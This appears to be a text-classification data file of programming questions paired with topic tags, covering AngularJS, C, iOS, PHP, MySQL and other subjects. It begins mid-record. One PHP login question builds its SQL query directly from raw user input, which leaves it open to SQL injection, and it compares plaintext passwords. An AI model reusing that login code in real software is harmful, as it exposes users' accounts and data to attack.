:loginform.$invalid  btn-success :loginform.$valid}              ng-click= login()              type= submit &gt;         log in     &lt;/button&gt; &lt;/form&gt; </code></pre>   login.html   <pre><code>&lt;div class= card card-container &gt;     &lt;login-form&gt;&lt;/login-form&gt; &lt;/div&gt; </code></pre>,angularjs
infinite loop in c when entered character  i am writing an objective c program for hangman. i need to replicate another program which has been given to me. i have done most of it  but am having an issue. it has to replicate the other program exactly  so i went into the other one and entered a character into the wordlength. it came up with the  number must be between 3 and 14 (inclusive)  statement  and asked me to enter a number again  but it started to loop infinitely. it works when i enter a number lower than 3 and larger than 14 (comes up with the error and asks for another input) but with a letter it infinitely loops. also  the loop is meant to loop infinitely until the word length is larger than 3 and less than 14. that is why the while loop will loop infinitelyany ideas    thanks   <pre><code>while (i == 0) {     printf( \n\n &gt; please enter a word length:  );     scanf( %i   &amp;wordlength);     printf( \n\n );      if (wordlength &gt; 3 &amp;&amp; wordlength &lt; 14) {         continue;     }     else printf( number must be between 3 and 14 (inclusive) ); } </code></pre>,c
how to make children float inside side-by-side elements  in a fixed with container   i have the situation:    <strong>html:</strong>   <pre><code>&lt;div class= container0 &gt;   &lt;div class= item &gt;     &lt;div class= subitens &gt;         &lt;div class= child &gt;&lt;/div&gt;         &lt;div class= child &gt;&lt;/div&gt;         &lt;div class= child &gt;&lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt;   &lt;div class= item &gt;     &lt;div class= subitens &gt;         &lt;div class= child &gt;&lt;/div&gt;         &lt;div class= child &gt;&lt;/div&gt;         &lt;div class= child &gt;&lt;/div&gt;         &lt;div class= child &gt;&lt;/div&gt;     &lt;/div&gt;   &lt;div&gt; &lt;div&gt; </code></pre>   <strong>css:</strong>   <pre><code>.container0 {   width:600px; /*needed*/ }  .item {   border: solid;   background: yellow;   float: left;   position: relative;   width: auto; /*needed  should be width of the contents*/ }  .subitens {     background: red;     padding: 10px; } .child {     background: blue;     border: solid;     width: 100px; /*needed*/     height: 100px; /*needed*/     float: left; } </code></pre>   <a href= http://jsfiddle.net/tombrito/gx7kl330/6/  rel= nofollow >http://jsfiddle.net/tombrito/gx7kl330/6/</a>    and i would like the <code>.item</code> elements to be side by side  while the <code>.child</code> elements would float to fit in the space (600px). any idea,css
copying images to the uipasteboard  how can one copy images to the uipasteboard     i have only seen examples for text.,iphone
mobilegestalt no access to inversedeviceid  this happens with every app when i try to use <code>opengles</code> on my <code>iphone7+</code> with <code>ios10.3</code>. but it works without any problems on my <code>iphone7</code> <code>ios10.1</code>.    this is the message i get:   <pre><code>libmobilegestalt mobilegestaltsupport.m:153: pid 304 (opengles_ch4_1) does not have sandbox access for ... and is not appropriately entitled  libmobilegestalt mobilegestalt.c:549: no access to inversedeviceid  </code></pre>   does anyone have an idea about these messages     <hr>   i wonder if it is bugs or something else in <code>ios10.3</code>  because when i run the app on <code>iphone5s</code> <code>ios10.2</code>  those messages <strong>did not</strong> shown on the screen. while i upgraded the phone to <code>ios10.3.1</code>  the massages shown again.     the reason why i ask this question is that some animation effects perform quite stuck on my iphone7+  but it is completely smooth on iphone5s. but now it seems it is no relationship between the message above and the stuck  and i have to check my iphone7+...,ios
how to parse the xml with lot of data in small amount of time  i am developing one application.in that i parsed the one xml file.that contain the 500 questions and each question have 4 different answers.if i parse that data then it will take lot of time.first i created one class with that question attributes like question content question type answers correct answer likie that.and i created one object for that class and every time parse that file and saved each question information.for this it kwill take lot of time.but i need to get the questions information very fastly.please tell me is there any other way to get the questions at a time fastly with less time or individual question every time.,iphone
.net - relative url for javascript src   i want to include a javascript file like so   <pre><code>&lt;script type= text/javascript  runat= server  src= ~/file.js &gt;&lt;/script&gt; </code></pre>   the idea is that i want to include the file.js via relative path instead of an absolute path  and i want .net to figure out the appropriate directory (ie. is it ./ or ../  or ../../ etc...).    but when i try the code above  i get compilation error.    how do i properly include a javascript file,.net
use angular-translate in $stateprovider param  here is my route config file   <pre><code>$stateprovider.state( process   {       url:  /process         params: {         title:  process name        }        views: {          processdemo : {           component:  process          }       }        resolve: {         translatepartialloader: [ $translate    $translatepartialloader   function ($translate  $translatepartialloader) {           $translatepartialloader.addpart( demo );           return $translate.refresh();         }]       }     }); </code></pre>   here is my demo.json file   <pre><code>{   name :  process  } </code></pre>   i want to use demo.json name in my config file. anybody can help for this,angularjs
select and update tables in mysql in same mysql statement  i have mysql query :-   <pre><code>select id customername  scenario stepno intransit isalef min(runno) as run isdominant isactive from requestinfo group by customername  scenario stepno intransit isalef runno  having concat(customername scenario stepno intransit isalef count(runno)) in (select concat(customername scenario stepno intransit isalef min(total)) from (select customername  scenario stepno intransit isalef runno  count(runno) total from requestinfo group by customername  scenario stepno intransit isalef runno ) b  group by customername  scenario stepno intransit isalef); </code></pre>   which gives output :-   <pre><code>   +------+--------------+--------------+--------+-----------+--------+------+------------+----------+    | id   | customername | scenario     | stepno | intransit | isalef | run  | isdominant | isactive |    +------+--------------+--------------+--------+-----------+--------+------+------------+----------+    |    1 | cleartrip    | searchflight | 1      | no        | no     | 1    | null       | null     |    |  327 | hotstar      | searchtv     | 1      | no        | no     | 1    | null       | null     |    |  836 | ndtv         | livetv       | 1      | no        | no     | 2    | null       | null     |    | 1090 | yatra        | searchflight | 1      | no        | no     | 2    | null       | null     |    +------+--------------+--------------+--------+-----------+--------+------+------------+----------+ </code></pre>   i want to set the last two columns as  yes  only for the rows which are been shown in the above result.,mysql
get instance variable   i have the following class:   <pre><code>@interface gamer : ccnode { nsmutablearray * cards; } @property (nonatomic  retain) nsmutablearray * cards;  +(id) createplayer; -(bool)setcardsarr:(nsmutablearray *) cs; -(bool)getcardformove:(card*) card actioncard:(card*)selcard; @end  @implementation gamer  @synthesize cards;  +(id) createplayer { return [[self alloc] init]; }  -(bool) setcardsarr:(nsmutablearray *) cs { if (!cs) return no;  cards = [cs copy]; return yes;   } -(bool)getcardformove:(card*) card actioncard:(card*)selcard; { for (card * curcard in cards)     {     if ([curcard getcardsuit] == [selcard getcardsuit])             {         selcard = curcard;         break;     } } return yes; }   -(id) init  { if(![super init]) return nil;  return self;  }  - (void)dealloc  { [cards release]; [super dealloc];  } @end </code></pre>   on the my main game class i set gamer array with help of the setcardsarr method. and after some actions i am trying to get gamer card by getcardformove method like this:   <pre><code>card * movecard = nil;     card * selcard = card; [mgamer getcardformove:movecard actioncard:selcard]; </code></pre>   the getcardformove function works fine  card found and assigned properly but card * movecard  is nil :(. i am new to objective-c and a little confused  please point me on my errors.,objective-c
how to implement a  loading in phases  animation like google does in its samples  google gives nice examples of material design implementations  but doesn t provide any clue on how to program them.    i m particularity interested in <a href= https://www.google.com/design/spec/components/progress-activity.html#progress-activity-behavior  rel= nofollow >this  loading in phases  sample</a>  but i don t see how to start with to implements this kind of  floating  progress bar.,android
switch view in msdn  i happend to visit below url where they have implemented the different type of view of the same page.     <a href= http://msdn.microsoft.com/en-us/library/ms733082(classic).aspx  rel= nofollow noreferrer >http://msdn.microsoft.com/en-us/library/ms733082(classic).aspx</a>   <ol> <li>is there any new feature in asp.net which will allow or simplfy that kind of view  </li> <li>or they have written ui rendering based on the view user selects  </li> </ol>   i would like to get some thoughts how they done that.,asp.net
.net downloaded and installed  but not in registry   i m looking to update from .net 4.0 to 4.5. i ve installed it  i can see it programs and features  but even following a restart  but i can t find the relevant folder under c:\windows\microsoft.net  nor is it in the registry:   <pre><code>dir /b /ad /o-n %systemroot%\microsoft.net\framework\v .*  v4.0.30319 v3.5 v3.0 v2.0.50727 v1.1.4322 v1.0.3705 </code></pre>   how can i confirm that it has been installed correctly and is the version of .net being used by applications,.net
jquery - go through every instance of div with class and add class to the first n items  i have some boxes   <pre><code>&lt;div class= ics_picture &gt; text &lt;/div&gt; &lt;div class= ics_picture &gt; text &lt;/div&gt; &lt;div class= ics_picture &gt; text &lt;/div&gt; &lt;div class= ics_picture &gt; text &lt;/div&gt; </code></pre>   i want jquery to add a class to all items after the first n number of items..    i have some similar code that does it for tr s but cannot get the syntax right for the current item.   <pre><code>$( .ics_picture ).each(function(){    $(this).addclass( hideme ); }); </code></pre>   thanks    chris,jquery
how can i convert remote json from angular $http to string   i m using angular js $http to get remote json  however i m unable to convert the json objects returned to a string with the stringify method. is there a special way i have to do it when dealing with angular  i m new to angular. so i m a little confused. here s an example:   <pre><code> $http.jsonp( http://whateverorigin.org/get url=  + encodeuricomponent( http://www.website.com/api-radio/  + num) +  &amp;callback=json_callback )         .success(function (response) {          result = angular.fromjson(response.contents);          var jsontobe = result.shows;          var jsonvariable = json.stringify(jsontobe); //this won t work.  </code></pre>,javascript
css - paragraph styling with a div class  simple css but i can not seem to control the styling of my paragraph tags within a div that has a class supplied.    here is the example:   <pre><code>.body-content-white  div.body-content-white p  { color:#ffffff; font-family:helvetica  gotham  arial  sans-serif; font-size:14px; bgcolor= #52c2e9  }   &lt;div class= body-content-white &gt;  &lt;p&gt; welcome to the first newsletter &lt;/p&gt;  &lt;/div&gt; </code></pre>   this is what i have tried:   <pre><code>div.body-content-white p  p .body-content-white  .body-content-white p  </code></pre>   the solution was to add an !important; tag to the css colour as follows:   <pre><code>.body-content-white  div.body-content-white &gt; p  { color:#ffffff; !important; font-family:helvetica  gotham  arial  sans-serif; font-size:14px; bgcolor= #52c2e9  } </code></pre>   i could also fix the issue by removing the  and adding the class to the  of my content.,css
detecing when tab item is clicked in storyboard  is there any way to programmatically check in the main view when a tab item created in storyboard is clicked      i tried putting the following where my uitabbarcontroller  class is:   <pre><code>- (void)tabbarcontroller:(uitabbarcontroller *)tabbarcontroller didselectviewcontroller:(uiviewcontroller *)viewcontroller  {      nslog(@ gets here ); } </code></pre>   but no luck.,ios
ios  starttunnelwithoptions:completionhandler:  method of  packettunnelprovider  not be called  when run this code  :<code>[_manager.connection startvpntunnelwithoptions:nil    andreturnerror:&amp;starterror]</code>.    method <code>starttunnelwithoptions:completionhandler:</code> of <code>packettunnelprovider</code>not be called.    why is this method not invoked or need other configuration     thank you.,ios
submit post method not calling php code  i m trying to get my submit post methode working. if i put in my username and password  the button does not let me see the echo i should see. it doesn t show anything at all. i also tried to put an echo after my submit post  nothing happend and i could not see what went wrong before that. i used some websites to try and get out it by myself. i hope you guys can help me !     php:   <pre><code> &lt; php  // validate the form for loggin the user  //function login(){   //server info $server =  localhost ; $user =  root ; $pass =   ; $db =  cms ;  //connect to database $mysqli = new mysqli($server  $user  $pass  $db);  //show errors  mysqli_report(mysqli_report_error); //}  session_start(); //login();  if(isset($_post[ submit ])) { $username = ($_post[ uname ]); $password = ($_post[ psw ]); $query =  select username  password from user where username= $username   and password= $password  ;  $result = mysqli_query($mysqli $query)or die(mysqli_error()); $num_row = mysqli_num_rows($result); $row=mysqli_fetch_array($result);  if( $num_row ==1 )    {         $_session[ userid ]=$row[ userid ];         echo  hi there ;         exit;    }  else    {         echo  oops can not do that ;    }  }  &gt; </code></pre>   html:    <pre><code>&lt;form action=   method= post &gt; &lt;input type= text  placeholder = enter username  name= uname  required&gt; &lt;br /&gt; &lt;input type = password  placeholder = enter password  name= psw  required&gt; &lt;br /&gt; &lt;button type= submit &gt;login&lt;/button&gt; &lt;/form&gt; </code></pre>   <em>all this code is in one document</em>,php
why are my html links not working   i am trying to link my mobile menu to different sections on the homepage. it is a one page website. the links are not working. what is wrong with my mobile menu code  thanks!    ```   <pre><code>&lt;nav id= menu &gt;     &lt;ul&gt;         &lt;li class= active &gt;&lt;a href= index.html &gt;home&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= index.html#targetabout &gt;about us&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= index.html#targetservices &gt;services &lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= index.html#targetcontact &gt;contact&lt;/a&gt;&lt;/li&gt;      &lt;/ul&gt;  &lt;/nav&gt; </code></pre>   ```,html
disable uiwebview hyperlinks  my goal is to allow uiwebview load initial link  but disallow any further navigation.    i saw question:    <a href= https://stackoverflow.com/questions/1783074/disable-hyperlinks-in-uiwebview >disable hyperlinks in uiwebview</a>    so  i wired referenced webview property from interface builder.    i specified that my uiviewcontroller uses uiwebviewdelegate:   <pre><code>@interface legalviewcontroller : uiviewcontroller&lt;uiwebviewdelegate&gt; </code></pre>   in the code  on viewdidload  i do following:   <pre><code> mfirstload = true;  webview.delegate = self; </code></pre>   and i have following code:   <pre><code>- (bool)webview:(uiwebview *)webview shouldstartloadwithrequest:(nsurlrequest *)request navigationtype:(uiwebviewnavigationtype)navigationtype {     if (!mfirstload)         return false;      mfirstload = false;     return true; } </code></pre>   shouldstartloadwithrequest is called both initial call and when i click on the link. however  even if shouldstartloadwithrequest returns false  uiwebview still proceeds and loads a new page.    i see this problem on ios simulator 6.0    how can i fix this behavior,ios
unable to render views in my rails app  i m unable to see the results of my views in my rails app.    i just installed ruby on a ubuntu 10.4 lucid server.    here s my controller/method:   <pre><code>def testing      @text =  this is some text  end </code></pre>   the controller s name is <code>new</code>    the view:   <pre><code>&lt;h1&gt;&lt;%= @text %&gt;&lt;/h1&gt; </code></pre>   i get a 500 internal server error when i try to load up:   <pre><code> `http://servername/new/testing` </code></pre>   in my browser...    edit: i m missing <code>application.rhtml</code> file in the <code>layouts</code> folder do you think that might be the problem,ruby-on-rails
sum of odd numbers using while loop in python  i m new to programming and was asked to sum odd numbers from 1 to (2*n)-1 using a while loop.  this is my attempt:   <pre><code>def sum_odd_n(n):     while n&lt;2*n:         sum = 0         if n%2==1:             sum = sum+n     return (sum) </code></pre>   may i know my mistake  any help will be appreciated,python
how can i read the lines on my code without including spaces  c# <pre><code>int cont1 = 0; string[] loc = this.txtcodigo.text.split( \n ); foreach (var item in loc) {     if (item !=  \r )     {          cont1++;      } } </code></pre>   so i have this. if i could get a better answer than this that would help  because it s not working!,c#
how to call an dll file dynamically from code behind(.cs)  i have  an  microsoft .office.interop.excel(dll) located  at an directory d:\abc.  now i do not want to add them  as an web reference in my projet   and  call them     rather  call the dll dynamically  from my code behind(.cs)  is ther any way  we can do dynmically    anyhelp would be  great  thank  you,asp.net
how to set the starting folder in an <input type= file > element  from reading related questions  i get the impression that setting a default file is prohibited for security reasons.    can i set a starting folder instead     if not  how can i help my users to easily navigate to a common location  i d really hate to have to make them copy/paste a long folder.,html
how to use uiview animatewithduration   how to create left (or right) slider menu using uiview animatewithduration in objective-c     <pre><code>- (ibaction) menubutton :(uibutton *) sender {  [uiview animatewithduration:1.0 animations:^{     self.view.center = cgpointmake(-self.view.frame.size.width/2 + 40  self.view.center.y); }]; </code></pre>   },objective-c
jquery - migration to 1.9 caused dialog buttons not to display text  i am working on a legacy application  and upgraded jquery from 1.6.2 to 1.9.1 i used the migrate.js to resolve the deprecated code.   <pre><code>&lt;script src= @url.content( ~/scripts/jquery-1.9.1.min.js )  type= text/javascript &gt;&lt;/script&gt;  &lt;script src= @url.content( ~/scripts/jquery-migrate-1.2.1.min.js )  type= text/javascript &gt;&lt;/script&gt; </code></pre>   the following javscript brings up a dialog box;   <pre><code>jquery.fn.jdialogwrapper( please enter the worked hours(should not be zero)  for the entered the contract number or description. ).dialog( open ); </code></pre>   where the function is defined as follows;   <pre><code>jquery.fn.jdialogwrapper = function (message) {     return $( &lt;div class= stasdialogclass &gt;&lt;/div&gt; )         .html(message)         .dialog({             autoopen: false              dialogclass:  stasdialogclass               modal: true              resizable: false              title:  mulalley stas               buttons: {                 ok: function () {                     $(this).dialog( close );                 }             }         }); }; </code></pre>   when the dialog message is disaplyed  the ok button has no text in it. it should say ok. how do i fix this,jquery
how can i send information from one html page to another   i want to create an html page which contains a text box.   when i am given input and the enter key is pressed  i want it to go to another html page and display the typed keyword.    how can i do this,html
getting errors->objective c  i am getting two errors here in this declarations.   <pre><code>request-&gt;memset(st.ureserved 0x00 sizeof(st.ureserved));  error1:expected identifier before  (  token </code></pre>   request is the object of another class.   <pre><code>#define declare_rs232_newmsg(classid)\ enum                                 \ {                                    \     id = classid                     \ };                                   \  @interface requestsession : data {  @public     declare_rs232_newmsg(rm_request_session); //error2:declaration does not declare anything     struct rmh_request_session_msg st; } </code></pre>  <h2>edited:</h2>  <pre><code>datasession.m ------------- - (id)init {     request-&gt;st.udeviceid = rs232_protocol_device_id;     request-&gt;st.uprotocolversion = rs232_version;     memset(request-&gt;st.ureserved 0x00 sizeof(request-&gt;st.ureserved));     return self; }  remote.h -------- struct rmh_request_session_msg  //message data {     int  udeviceid;     int  uprotocolversion;     int  ureserved[5]; };  data_derived.h -------------- @interface requestsession : data {  @public     declare_rs232_newmsg(rm_request_session);     struct rmh_request_session_msg st; } @end  datasession.h ------------- @interface datasession : nsobject {      requestsession* request;  } @end </code></pre>,objective-c
fixed div stays at the top but cuts off text with no scroll bars  i have some text that i display in a <code>div</code> with the following css:   <pre><code>.fixed-box {     position:fixed;     top:10px;     width: 270px; } </code></pre>   this is so that when i scroll it always shows on the top of the screen. however when there is a lot of text the div gets cut off  because the <code>position:fixed</code> prevents it from scrolling down with the page it s on.    i was going to switch to an <code>iframe</code>  but is this really the best way to go,css
c - rock  paper  scissors scoreboard issues  language: <strong>c</strong>    <strong>situation:</strong> our professor has us making a rock  paper  scissors code with separate functions from the main and also including a  switch  statement   for  loop  and an  if...else  statement.    <strong>problem:</strong> the program works for the most part but fails to display the correct amounts for the scoreboard when quitting. it seems to ignore everything before hand and default back to the original defined value  0     <strong>my c code is here below:</strong>   <pre><code>#include  stdio.h  #include  stdlib.h  #include  time.h   // rock int rock(int comp  int tie  int cwon  int pwon) {   if(comp==1) {     printf( \ntie!\n );     tie++;   } else if(comp==2) {     printf( \nyou picked rock  the computer picked paper.\npaper covers rock  the computer wins!\n );     cwon++;   } else if(comp==3) {     printf( \nyou picked rock  the computer picked scissors.\nrock breaks scissors  you win!\n );     pwon++;   } else {     printf( error );   }     return tie  cwon  pwon; }  // paper int paper(int comp  int tie  int cwon  int pwon) {   if(comp==1) {     printf( \nyou picked paper  the computer picked rock.\npaper covers rock  you win!\n );     pwon++;   } else if(comp==2) {     printf( \ntie!\n );     tie++;   } else if(comp==3) {     printf( \nyou picked paper  the computer picked scissors.\nscissors cut paper  the computer wins!\n );     cwon++;   } else {     printf( error );   }     return tie  cwon  pwon; }  // scissors int scissors(int comp  int tie  int cwon  int pwon) {   if(comp==1) {     printf( \nyou picked scissors  the computer picked rock.\nrock breaks scissors  the computer wins!\n );     cwon++;   } else if(comp==2) {     printf( \nyou picked scissors  the computer picked paper.\nscissors cut paper  you win!\n );     pwon++;   } else if(comp==3) {     printf( \ntie!\n );     tie++;   } else {     printf( error );   }   return tie  cwon  pwon; }  // score display int score(int pwon  int cwon  int tie) {   printf( \nyou won %d times  the computer won %d times and it was a tie %d times.\nthank you for playing!\n   pwon  cwon  tie); }  // playcases w/ switch int playcases(char input  int comp  int tie  int cwon  int pwon  int i) {   switch(input) {     case  r  :     case  r  :         rock(comp  tie  cwon  pwon);        break;     case  p  :     case  p  :         paper(comp  tie  cwon  pwon);        break;     case  s  :     case  s  :         scissors(comp  tie  cwon  pwon);        break;     case  q  :     case  q  :        score(pwon  cwon  tie);        i=999;        break;     default :        printf( error: invalid choice  try again. );        break;   }   return tie  cwon  pwon; }  // flush void flushscanf(int input) {     char r;     while((r = getchar()) !=  \n  &amp;&amp; r != eof); }  // main function int main(void) {   char input;   int cwon=0  pwon=0  tie=0;   printf( let s play a game of rock/paper/scissors\n );    //for loop   for(int i=1; i&lt;999;++i) {     printf( \nenter the r  p  s  or q (for quit):  );     scanf( %c   &amp;input);     flushscanf(input);     int comp=rand()%3+1;     playcases(input  comp  tie  cwon  pwon  i);   }   return 0; } </code></pre>   i am still relatively new to coding so i apologize if my code seems like a mess and not condensed as it should be.,c
error: cannot be used as a function  i just started learning c++ and wrote this :   <pre><code>#include &lt;iostream&gt; using namespace std;  void sumtype (double sum) { if (sum&gt;0)     cout&lt;&lt; p &lt;&lt;endl; else if (sum==0)     cout&lt;&lt; 0 &lt;&lt;endl; else     cout&lt;&lt; n &lt;&lt;endl; }  double sum (double a  double b) { return a+b; }  int main() { char sumtype; double a; double b; cout&lt;&lt; input value of a:  ; cin&gt;&gt;a; cout&lt;&lt; input value of b:  ; cin&gt;&gt;b; cout&lt;&lt; sum=  &lt;&lt;sum (a b)&lt;&lt;endl; sumtype (sum);  } </code></pre>   however it always says error:  sumtype  cannot be used as a function   sumtype (sum);               ^    what s the problem,c++
mysql select last  n  records by date  but sorted oldest to newest  i have a table that has transactions with a datetime column.  i m trying to select the last  n  records (i.e. 20 rows) but have it sorted oldest to newest.   <pre><code>select * from table where 1=1 order by table.datefield desc limit 20; </code></pre>   gives me the 20 most recent  but in the opposite order.      is this possible in one query  or will i have to do a query to get total rows and then adjust the limit based on that so i can do the table.datefiled asc and then limit <em>(total rows - n)  n</em>,mysql
one vs two vs three dimensional array  why the speed difference   when i run this code    <pre><code>enum l     normalfor     normalforeach end enum  sub main()     run(l.normalfor)     run(l.normalforeach)     console.read() end sub  sub run(byval l as l)     dim one(999999) as integer     dim two(999  999) as integer     dim three(99  99  99) as integer     dim r as random     dim sw as stopwatch      r = new random(42)     select case l         case module1.l.normalfor             sw = stopwatch.startnew             for i = 0 to 999999                 one(i) = r.next             next             sw.stop()         case module1.l.normalforeach             sw = stopwatch.startnew             for each i in one                 i = r.next             next             sw.stop()     end select     console.writeline( one dimension  array of   &amp; one.length.tostring &amp;   items   &amp; sw.elapsedmilliseconds &amp;  ms (  &amp; l.tostring &amp;  ) )      r = new random(42)     select case l         case module1.l.normalfor             sw = stopwatch.startnew             for i = 0 to 999                 for j = 0 to 999                     two(i  j) = r.next                 next             next             sw.stop()         case module1.l.normalforeach             sw = stopwatch.startnew             for each i in two                 i = r.next             next             sw.stop()     end select     console.writeline( two dimension  array of   &amp; two.length.tostring &amp;   items   &amp; sw.elapsedmilliseconds &amp;  ms (  &amp; l.tostring &amp;  ) )      r = new random(42)     select case l         case module1.l.normalfor             sw = stopwatch.startnew             for i = 0 to 99                 for j = 0 to 99                     for k = 0 to 99                         three(i  j  k) = r.next                     next                 next             next             sw.stop()         case module1.l.normalforeach             sw = stopwatch.startnew             for each i in three                 i = r.next             next             sw.stop()     end select     console.writeline( three dimension  array of   &amp; three.length.tostring &amp;   items   &amp; sw.elapsedmilliseconds &amp;  ms (  &amp; l.tostring &amp;  ) ) end sub </code></pre>   i get this result   <blockquote>    one dimension  array of 1000000 items 8ms (normalfor)<br>   two dimension  array of 1000000 items 14ms (normalfor)<br>   three dimension  array of 1000000 items 13ms (normalfor)<br>   one dimension  array of 1000000 items 9ms (normalforeach)<br>   two dimension  array of 1000000 items 230ms (normalforeach)<br>   three dimension  array of 1000000 items 241ms (normalforeach)    </blockquote>   anyone know why it s way slower with a >= 2 dimensional array,.net
issues in custom table view in iphone  i am implementing my custom table view controller. the issue i am facing is that when i select a particular cell in my table  the color of the cell does not changes and after i return back to this page  it does not show the selection user made earlier. aslo  my scrollbar is not getting flashed for the first time. any clue what is missing in my code,iphone
how to call a method in a specific uiviewcontroller in a tabviewcontroller from navigation bar button  i have a tabviewcontroller with 3 tabs each with it s own viewcontroller of course. i created a uibarbutton in navigation bar and would like to call a method on one of the uiviewcontroller   <pre><code>uibarbuttonitem *deletebutton = [[uibarbuttonitem alloc]                                  initwithbarbuttonsystemitem:uibarbuttonsystemitemtrash                                  target:self                                  action:@selector(deleteaction:)]; deletebutton.style = uibarbuttonitemstylebordered; [buttons addobject:deletebutton];   -(void)deleteaction:(id)sender {     notesviewcontroller *notesviewcontroller = [self.storyboard instantiateviewcontrollerwithidentifier:@ notes ];     [notesviewcontroller.tableview setediting:true];  } </code></pre>   although the above code doesn t throw error  it doesn t do anything either.,objective-c
why is memory sometimes deallocated immediately and other times only when autorelease pool is drained   i made simple experiment and found some strange behavior. here some code - part of long method with arc enabled:    <pre><code>mkobject *obj = [[mkobject alloc]init]; nsmutablearray *temp = [[nsmutablearray alloc]init]; [temp addobject:obj]; obj = nil; temp = nil; //here deallocating is called on obj (mkobject) //other stuff </code></pre>   but if i change <code>nsmutablearray</code> to <code>nsarray</code> and literal initialisation   <pre><code>nsarray *temp = @[obj]; </code></pre>   deallocating executed before autoreleasepool closed  not after setting <code>nil</code> to all references. did i missed something,objective-c
attaching meta-information to an object in .net  i m pretty sure this is a duplicate question  but i can t find the original(s).    i am getting some objects that i need to  attach  some information to. basically  if that object ever gets back to the same piece of code  i need to see that i have seen it before.    ie. something like this:   <pre><code>dictionary&lt;weakreference&lt;objecttype&gt;  string&gt; _cache; </code></pre>   note the weak reference in there (i know weakreference is not generic btw)  i need to make the key of the cache a weak reference  to handle the fact that the objects are gc ed out of my control.    now  i can make that cache full of weak references  but i seem to recall a similar type of system already existing in .net  which was gc ed automatically alongside the object.    note that i do not recall the overhead of this  so i will make sure to read up on the subject before deciding if this is a good/better solution than my own cache. unfortunately i cannot change the object in question  so i need to keep track of this meta-information somewhere else.    my limitations:   <ul> <li>the object is not mine  so i cannot change it in any way possible</li> <li>i cannot inherit from the object  as it is sealed  besides  i m <em>given</em> the objects  i do not construct them  so i would have to be able to replace an instance with a new object of a descendant type for this to be useful</li> <li>the objects are gc ed out of my control  so i cannot just use a dictionary  which will slowly fill up  either with  references  to nonexistant objects  or will hold on to the objects  i would need a dictionary with a weak referenced key (thus: custom dictionary)</li> <li>the objects  although i could encapsulate them within my own code and thus carry alongside it the required information  is passed back to a framework out of my control  and given back to me from the same  and thus i need to be able to retrieve/look up the old information with just the object in question</li> </ul>   basically  something like:   <pre><code>propertyattacher.attach(instance   name   name); </code></pre>   do i remember correctly  what are the classes involved,.net
scrollheight gives incorrect value when height property is provided in css  i tried to get the scrollheight of my div and i am getting it right but when i add height property in the css for that particular div i am getting a different value.    just run the <a href= http://jsfiddle.net/eagf7/25/  rel= nofollow >fiddle</a> and you will see in console value of scrollheight property to be equal to 268 (which is equal to the sum of the heights of all the children)    but when i add a height value in the css (say height:50px;) the output comes out to be 252 (the difference is the margin of the last child element  i think).    can anybody please answer why there is a discrepancy      <strong>edit</strong> since the question was not clear i have rephrased id. when i specify the height of parent div i get the scroll height as 252 pixels while if i do not specify the height or set it to  auto  i get 268 pixel. i just wanted to know why margins do not collapse in the later case as well   i am not worried about the collapsed margins but just want to know why the scroll height is different in these two scenarios      the answer given below is perfectly fine. however i also got the correct scrollheight using javascript (including the bottom margin of the last child)   <pre><code>var h = $(div).height(); $(div).height( auto ); var ch = $(div)[0].scrollheight; $(div).height(h); </code></pre>,html
c loop with an increment  how can i do an increment when a range is given for conversion  following is the code:   <pre><code>    #include &lt;stdio.h&gt;      int disrange(float x  float y);      int main()     {          printf( the conversion from miles to km are: );         printf( \n );         printf( miles  kilometers );         printf( \n );          // set the range in miles         disrange(1 5 incr);  ---&gt; extra params increment  }         int disrange(float x  float y)     {        int a;         for(a=x; a&lt;=y; a++){            // convert each value into km            float b = a*1.61;                    printf( %d   %f\n  a b);        }     } </code></pre>   when the increment is <code>2</code>  the print out should be conversion for <code>1  3  5</code>. thanks!!,c
how to know the path of file in iphone sdk   i want to connect database to iphone sdk but it is taking the default path inside the system folders but not in the app bundle  how can i change the file path from that system directory to file in my app bundle,iphone
how to get the directory tree of iphone app documents directory  in my app  i created subfolders under documents  and subfolders under subfolders. so there is a document tree. i want to get the tree in a way that i am able to list them in a tableview. they will look like the following  linear listing with different indent to show their level.    <img src= https://i.stack.imgur.com/c8juq.png  alt= enter image description here >    i am not sure whether there is some convenient way to get this done or not  when i am trying to do it using while loop and for loop.    appreciate your suggestions.    thanks.,iphone
c - replacing char with string  i am writing a program that encodes text such that it can be put into a url. i have the user inputting a string and if it contains special characters (#  %  &amp;     etc.) to replace them with their corresponding character codes (%23  %25  %26  %3f  etc.). the problem is that the special characters are only of length 1 and the codes are of length 3. the codes end up replacing characters after the special one. this is the code i am using to do the replacement.   <pre><code>char *p = enteredcharstr; while ((p = strstr(p  specialchararr[x])) != null ) {     char *substr;     substr = strstr(enteredcharstr  specialchar[x]);     strncpy(substr  charcodesarr[x]  3);     p++; } </code></pre>   example output from using my program with input:  this=this&amp;that    <pre><code>this%3dis%26at </code></pre>   i would like the output to be:   <pre><code>this%3dthis%26that </code></pre>   any idea on how to implement what i am trying to do in c (no libraries),c
mutator returning a value  mutator returning a value    add a new method emptymachine() to the ticketmachine class that is designed to simulate emptying the machine of money it should both return the value in total and reset the value of total to zero. paste the whole method into the space below   <pre><code>public int emptymachine()     {         system.out.println( #   + total );         total = 0;      } </code></pre>   i get this error:   <pre><code>ticketmachine.java:44: missing return statement     }     ^ 1 error the output should have been:     emptymachine() returns correct value     emptymachine() empties machine  this is what was actually produced:     exception in thread  main  java.lang.noclassdeffounderror: ticketmachine </code></pre>,java
decryption/encryption python  this encrypts so that (‘w’  ‘f’) returns ‘b’. how do i write the inverse of the code to decrypt it so that (‘b’ ’f’) returns ‘w’    <pre><code>def char_encrypt(plaintextchar  keychar):     result= chr(ord( a ) + ((ord(plaintextchar) - ord( a )) +  (ord(keychar) - ord( a ))) % 26)     ciphertextchar = result     return ciphertextchar </code></pre>,python
